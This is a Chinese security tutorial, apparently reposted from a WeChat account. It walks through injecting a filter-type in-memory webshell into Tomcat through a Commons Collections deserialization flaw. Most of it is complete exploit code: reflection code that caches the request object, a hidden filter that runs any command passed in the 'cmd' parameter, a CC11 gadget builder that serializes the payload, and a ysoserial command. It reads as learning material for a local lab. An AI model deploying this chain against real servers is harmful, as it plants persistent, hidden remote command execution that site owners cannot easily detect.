【内存马】- 通过反序列化漏洞注入内存马

admin 2022年11月10日14:03:54评论68 views字数 14127阅读47分5秒阅读模式

1. 前言2. 漏洞环境3. 加载字节码的gadget4. 反序列化注入内存马    4.1 获取 request & response 对象        4.1.1 获取条件分析        4.1.2 代码演示    4.2 获取Context注入filter型内存马    4.3 通过 cc11 执行恶意字节码参考链接

1. 前言

前面学习了通过jsp文件注入内存马的相关知识,本篇文章继续学习在反序列化漏洞情况下怎么构造payload注入内存马。

2. 漏洞环境

Java反序列化漏洞的相关知识在本篇文章不做介绍。这里我直接搭建一个直接的反序列化漏洞环境:读取body数据流并进行反序列化操作。

创建一个java web的maven项目,pom.xml中的依赖为:

<dependencies>
   <dependency>
       <groupId>commons-collections</groupId>
       <artifactId>commons-collections</artifactId>
       <version>3.1</version>
   </dependency>
</dependencies>

3.1的这个依赖包是存在典型的cc链的反序列化漏洞。

创建一个servlet,接收body数据流并对其反序列化:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

注意事项

需要将maven中的依赖添加到tomcat中,不然在执行反序列化时,会找不到这个依赖。

【内存马】- 通过反序列化漏洞注入内存马

测试环境是否成功:

使用cc7这条链生成恶意序列化数据,测试下是否可以正常反序列化:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 calc > 0905.ser

成功执行命令弹出计算器

【内存马】- 通过反序列化漏洞注入内存马

3. 加载字节码的gadget

在前面学习cc2反序列化gadget时,可以加载并实例化类的字节码,从而执行该类中的static静态代码块中的恶意代码。

cc2这条链受影响的依赖是 CommonsCollections 4.0。这里可以学习使用cc11这条链,类似cc2与cc6的结合,cc6链嵌套TemplatesImpl去加载字节码。

4. 反序列化注入内存马

在前面学习通过上传执行jsp文件操作上下文对象注入内存马的过程中,由于request和response是jsp中内置的对象,可以直接通过request对象获取context对象。但在通过反序列化注入时,无法直接获取上下文context对象,需要在字节码中通过一些方法获取request和response对象。

4.1 获取 request & response 对象

4.1.1 获取条件分析

找一个静态的可以存储 request 和 response 的变量,因为如果不是静态变量的话,还需要获取到对应的实例,相对来说更麻烦。

org.apache.catalina.core.ApplicationFilterChain类中,存在两个静态变量:lastServicedRequestlastServicedResponse

【内存马】- 通过反序列化漏洞注入内存马

这两个静态成员变量的初始化过程在static代码块中:

【内存马】- 通过反序列化漏洞注入内存马

初始化条件是ApplicationDispatcher.WRAP_SAME_OBJECT为true。

同时在 ApplicationFilterChain#internalDoFilter 中,ApplicationDispatcher.WRAP_SAME_OBJECT 为 true ,就会调用 set 函数将 request 和 response 存放到这两个静态变量中:

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
   lastServicedRequest.set(request);
   lastServicedResponse.set(response);
}

4.1.2 代码演示

创建一个类Step1,继承AbstractTranslet,作为恶意字节码类,在static静态代码块中编写相关代码设置内存中某些变量的值。

package com.memoshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Step1 extends AbstractTranslet {

   static {
       try {
           //修改 WRAP_SAME_OBJECT 值为 true
           Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
           java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
           java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
           modifiersField.setAccessible(true);
           modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
           f.setAccessible(true);
           if (!f.getBoolean(null)) {
               f.setBoolean(null, true);
          }

           //初始化 lastServicedRequest
           c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
           f = c.getDeclaredField("lastServicedRequest");
           modifiersField = f.getClass().getDeclaredField("modifiers");
           modifiersField.setAccessible(true);
           modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
           f.setAccessible(true);
           if (f.get(null) == null) {
               f.set(null, new ThreadLocal());
          }

           //初始化 lastServicedResponse
           f = c.getDeclaredField("lastServicedResponse");
           modifiersField = f.getClass().getDeclaredField("modifiers");
           modifiersField.setAccessible(true);
           modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
           f.setAccessible(true);
           if (f.get(null) == null) {
               f.set(null, new ThreadLocal());
          }
      } catch (Exception e) {
           e.printStackTrace();
      }
  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
           throws TransletException {

  }
}

静态代码块中,通过反射修改ApplicationDispatcher类的静态成员变量WRAP_SAME_OBJECT值为true。由于该成员变量是final修饰的,所以还需要通过反射修改final标志位,以便可以为其修改赋值。

同理,静态成员变量lastServicedRequestlastServicedResponse也通过反射进行初始化赋值操作。

第二次再访问时,由于WRAP_SAME_OBJECT值为true,就会将 request 和 response 两个对象存入上面的静态变量中,如此就能获取到Context。

将该java文件编译成Step1.class,后续通过cc11利用链加载该类字节码,通过反序列化漏洞在目标服务上实例化该类,执行static代码块,修改内存中的变量。

4.2 获取Context注入filter型内存马

在通过反序列化漏洞将request对象保存到易获取的位置后,后面的步骤就跟之前学习通过jsp文件注入内存马一样了,直接看代码。

package com.memoshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class Step2 extends AbstractTranslet implements Filter {
   /**
    * webshell命令参数名
    */
   private final String cmdParamName = "cmd";
   private final static String filterUrlPattern = "/*";
   private final static String filterName = "serFilter";

   static {
       try {
           ServletContext servletContext = getServletContext();
           if (servletContext != null){
               Field ctx = servletContext.getClass().getDeclaredField("context");
               ctx.setAccessible(true);
               ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

               Field stdctx = appctx.getClass().getDeclaredField("context");
               stdctx.setAccessible(true);
               StandardContext standardContext = (StandardContext) stdctx.get(appctx);

               if (standardContext != null){
                   Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                   Configs.setAccessible(true);
                   Map filterConfigs = (Map) Configs.get(standardContext);
                   if (filterConfigs.get(filterName) == null) {
                       Filter filter = new Step2();
                       FilterDef filterDef = new FilterDef();
                       filterDef.setFilter(filter);
                       filterDef.setFilterName(filterName);
                       filterDef.setFilterClass(filter.getClass().getName());

                       // 将filterDef添加到filterDefs中
                       standardContext.addFilterDef(filterDef);

                       FilterMap filterMap = new FilterMap();
                       filterMap.addURLPattern(filterUrlPattern);
                       filterMap.setFilterName(filterName);
                       filterMap.setDispatcher(DispatcherType.REQUEST.name());

                       standardContext.addFilterMapBefore(filterMap);

                       Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                       constructor.setAccessible(true);
                       ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

                       filterConfigs.put(filterName, filterConfig);

                  }
              }

          }

      } catch (Exception e) {
           e.printStackTrace();
      }
  }

   private static ServletContext getServletContext()
           throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
       ServletRequest servletRequest = null;
       /*shell注入,前提需要能拿到request、response等*/
       Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
       java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
       f.setAccessible(true);
       ThreadLocal threadLocal = (ThreadLocal) f.get(null);
       //不为空则意味着第一次反序列化的准备工作已成功
       if (threadLocal != null && threadLocal.get() != null) {
           servletRequest = (ServletRequest) threadLocal.get();
      }
       //如果不能去到request,则换一种方式尝试获取

       //spring获取法1
       if (servletRequest == null) {
           try {
               c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
               Method m = c.getMethod("getRequestAttributes");
               Object o = m.invoke(null);
               c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
               m = c.getMethod("getRequest");
               servletRequest = (ServletRequest) m.invoke(o);
          } catch (Throwable t) {}
      }
       if (servletRequest != null)
           return servletRequest.getServletContext();

       //spring获取法2
       try {
           c = Class.forName("org.springframework.web.context.ContextLoader");
           Method m = c.getMethod("getCurrentWebApplicationContext");
           Object o = m.invoke(null);
           c = Class.forName("org.springframework.web.context.WebApplicationContext");
           m = c.getMethod("getServletContext");
           ServletContext servletContext = (ServletContext) m.invoke(o);
           return servletContext;
      } catch (Throwable t) {}
       return null;
  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
           throws TransletException {

  }

   @Override
   public void init(FilterConfig filterConfig) throws ServletException {

  }

   @Override
   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                        FilterChain filterChain) throws IOException, ServletException {
       System.out.println(
               "TomcatShellInject doFilter.....................................................................");
       String cmd;
       if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
           Process process = Runtime.getRuntime().exec(cmd);
           java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                   new java.io.InputStreamReader(process.getInputStream()));
           StringBuilder stringBuilder = new StringBuilder();
           String line;
           while ((line = bufferedReader.readLine()) != null) {
               stringBuilder.append(line + 'n');
          }
           servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
           servletResponse.getOutputStream().flush();
           servletResponse.getOutputStream().close();
           return;
      }
       filterChain.doFilter(servletRequest, servletResponse);
  }

   @Override
   public void destroy() {

  }
}

首先从ApplicationFilterChain中获取到request对象,随后通过getServletContext()方法获取到ServletContext对象。代码中还有spring获取ServletContext的两种方法,本文主要学习基于tomcat的内存马注入方式,spring暂不考虑。

后续逻辑通jsp注入内存马一致,将filter添加到filterDef中,将filterDef添加到filterDefs中,添加filterMap等操作。这里是在Tomcat 8的环境下。

4.3 通过 cc11 执行恶意字节码

cc11利用链加载恶意字节码,生成序列化对象数据。

package com.memoshell;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC11InjectShell {
   public static void main(String[] args) throws Exception {
       byte[] bytes = getBytes();
       byte[][] targetByteCodes = new byte[][]{bytes};
       TemplatesImpl templates = TemplatesImpl.class.newInstance();

       Field f0 = templates.getClass().getDeclaredField("_bytecodes");
       f0.setAccessible(true);
       f0.set(templates,targetByteCodes);

       f0 = templates.getClass().getDeclaredField("_name");
       f0.setAccessible(true);
       f0.set(templates,"name");

       f0 = templates.getClass().getDeclaredField("_class");
       f0.setAccessible(true);
       f0.set(templates,null);

       // 利用反射调用 templates 中的 newTransformer 方法
       InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
       HashMap innermap = new HashMap();
       LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
       TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
       HashSet hashset = new HashSet(1);
       hashset.add("foo");
       // 我们要设置 HashSet 的 map 为我们的 HashMap
       Field f = null;
       try {
           f = HashSet.class.getDeclaredField("map");
      } catch (NoSuchFieldException e) {
           f = HashSet.class.getDeclaredField("backingMap");
      }
       f.setAccessible(true);
       HashMap hashset_map = (HashMap) f.get(hashset);

       Field f2 = null;
       try {
           f2 = HashMap.class.getDeclaredField("table");
      } catch (NoSuchFieldException e) {
           f2 = HashMap.class.getDeclaredField("elementData");
      }

       f2.setAccessible(true);
       Object[] array = (Object[])f2.get(hashset_map);

       Object node = array[0];
       if(node == null){
           node = array[1];
      }
       Field keyField = null;
       try{
           keyField = node.getClass().getDeclaredField("key");
      }catch(Exception e){
           keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
      }
       keyField.setAccessible(true);
       keyField.set(node,tiedmap);

       // 在 invoke 之后,
       Field f3 = transformer.getClass().getDeclaredField("iMethodName");
       f3.setAccessible(true);
       f3.set(transformer,"newTransformer");

       try{
//           ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/com/memoshell/cc11Step1.ser"));
           ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/com/memoshell/cc11Step2.ser"));
           outputStream.writeObject(hashset);
           outputStream.close();

      }catch(Exception e){
           e.printStackTrace();
      }
  }

   public static byte[] getBytes() throws IOException {
       //   第一次
//       InputStream inputStream = new FileInputStream(new File("./src/com/memoshell/Step1.class"));
       // 第二次
       InputStream inputStream = new FileInputStream(new File("./src/com/memoshell/Step2.class"));

       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
       int n = 0;
       while ((n=inputStream.read())!=-1){
           byteArrayOutputStream.write(n);
      }
       byte[] bytes = byteArrayOutputStream.toByteArray();
       return bytes;
  }
}
  1. 读取类文件,将其转换成byte;

  2. 利用cc11将字节码进行封装,生成序列化数据

利用burp发送序列化对象数据,反序列化时会将字节码实例化,执行static代码块中的代码。

发送第一个序列化数据:

【内存马】- 通过反序列化漏洞注入内存马

发送第二个序列化数据:

【内存马】- 通过反序列化漏洞注入内存马

成功注入内存马:

【内存马】- 通过反序列化漏洞注入内存马

参考链接

Tomcat 内存马学习(二):结合反序列化注入内存马

Java安全之反序列化回显与内存马

原文始发于微信公众号(信安文摘):【内存马】- 通过反序列化漏洞注入内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月10日14:03:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内存马】- 通过反序列化漏洞注入内存马http://cn-sec.com/archives/1401253.html

发表评论

匿名网友 填写信息